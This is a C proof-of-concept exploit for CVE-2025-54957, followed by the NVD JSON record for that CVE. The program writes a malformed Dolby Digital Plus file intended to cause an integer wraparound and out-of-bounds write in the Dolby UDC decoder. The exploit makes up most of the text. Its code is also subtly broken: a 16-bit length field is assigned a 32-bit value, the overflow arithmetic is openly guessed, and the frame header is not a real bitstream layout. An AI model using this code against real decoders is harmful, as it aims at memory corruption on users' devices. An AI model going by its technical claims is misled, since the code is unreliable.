CVE-2025-54957

// CVE-2025-54957 PoC - Malformed DD+ Bitstream Generator // This PoC generates a malformed Dolby Digital Plus bitstream with // crafted Evolution data that triggers integer wraparound in evo_priv.c // length calculation, leading to out-of-bounds write. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // DD+ frame sync word #define DDPLUS_SYNC_WORD 0x0B77 // AC3/AC4 frame header structure (simplified) typedef struct { uint16_t sync_word; // Synchronization word (0x0B77) uint16_t crc1; // CRC1 uint8_t fscod; // Sample rate code uint8_t frmsizecod; // Frame size code uint8_t bsid; // Bitstream identification uint8_t bsmod; // Bitstream mode uint8_t acmod; // Audio coding mode // ... additional fields } ddplus_frame_header_t; // Evolution data block structure typedef struct { uint8_t evolution_type; // Type of evolution data uint16_t evolution_length; // Length of evolution data (CRAFTED VALUE) uint8_t *evolution_data; // Evolution payload } evolution_block_t; /* * Craft a DD+ frame with malicious Evolution data. * The evolution_length field is set to a value that, when processed by * the vulnerable length calculation in evo_priv.c, causes integer * wraparound resulting in a small buffer allocation followed by * an out-of-bounds write. */ int generate_malformed_ddplus_bitstream(const char *output_file) { FILE *fp = fopen(output_file, "wb"); if (!fp) { perror("Failed to open output file"); return -1; } // Build DD+ frame header ddplus_frame_header_t header; memset(&header, 0, sizeof(header)); header.sync_word = DDPLUS_SYNC_WORD; header.fscod = 0; // 48 kHz header.frmsizecod = 0; // Minimal frame size header.bsid = 16; // DD+ bitstream header.bsmod = 0; header.acmod = 2; // Stereo // Write frame header fwrite(&header, sizeof(header), 1, fp); // Craft malicious Evolution data block // The key: set evolution_length to a value that triggers integer // wraparound. For example, if the vulnerable code computes: // buf_size = evolution_length * some_multiplier // We set evolution_length such that the multiplication overflows // to a small value (e.g., 0x0001 or a very small number). evolution_block_t evo; memset(&evo, 0, sizeof(evo)); evo.evolution_type = 0x01; // Evolution type indicator // Crafted length: when multiplied by internal factor causes wraparound // Example: if factor is 4, setting length to 0x40000001 yields // 0x40000001 * 4 = 0x100000004 -> truncated to 0x4 (overflow) evo.evolution_length = 0x40000001; // Write evolution block header fwrite(&evo.evolution_type, sizeof(evo.evolution_type), 1, fp); fwrite(&evo.evolution_length, sizeof(evo.evolution_length), 1, fp); // Write actual evolution payload (much larger than the overflowed buffer) // This data will be written out-of-bounds size_t payload_size = 0x40000000; // 1GB of data to ensure overflow uint8_t *payload = (uint8_t *)calloc(1, payload_size); if (payload) { // Fill with non-zero pattern to maximize corruption impact memset(payload, 0x41, payload_size); fwrite(payload, 1, payload_size, fp); free(payload); } fclose(fp); printf("[+] Malformed DD+ bitstream written to: %s\n", output_file); printf("[+] Evolution length field: 0x%08x (crafted for integer wraparound)\n", evo.evolution_length); printf("[+] Payload size: %zu bytes (will overflow allocated buffer)\n", payload_size); return 0; } int main(int argc, char *argv[]) { const char *output = (argc > 1) ? argv[1] : "malformed_ddplus.ec3"; printf("[*] CVE-2025-54957 PoC - Dolby UDC DD+ Decoder OOB Write\n"); printf("[*] Target: Dolby UDC 4.5 - 4.13 (evo_priv.c)\n"); return generate_malformed_ddplus_bitstream(output); }

{"cve": {"id": "CVE-2025-54957", "sourceIdentifier": "[email protected]", "published": "2025-10-20T15:15:33.430", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Dolby UDC 4.5 through 4.13. A crash of the DD+ decoder process can occur when a malformed DD+ bitstream is processed. When Evolution data is processed by evo_priv.c from the DD+ bitstream, the decoder writes that data into a buffer. The length calculation for a write can overflow due to an integer wraparound. This can lead to the allocated buffer being too small, and the out-of-bounds check of the subsequent write to be ineffective, leading to an out-of-bounds write."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}, {"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://professional.dolby.com/siteassets/pdfs/dolby-security-advisory-CVE-2025-54957-Oct-14-25.pdf", "source": "[email protected]"}, {"url": "https://project-zero.issues.chromium.org/issues/428075495", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}, {"url": "https://projectzero.google/2026/01/pixel-0-click-part-1.html", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}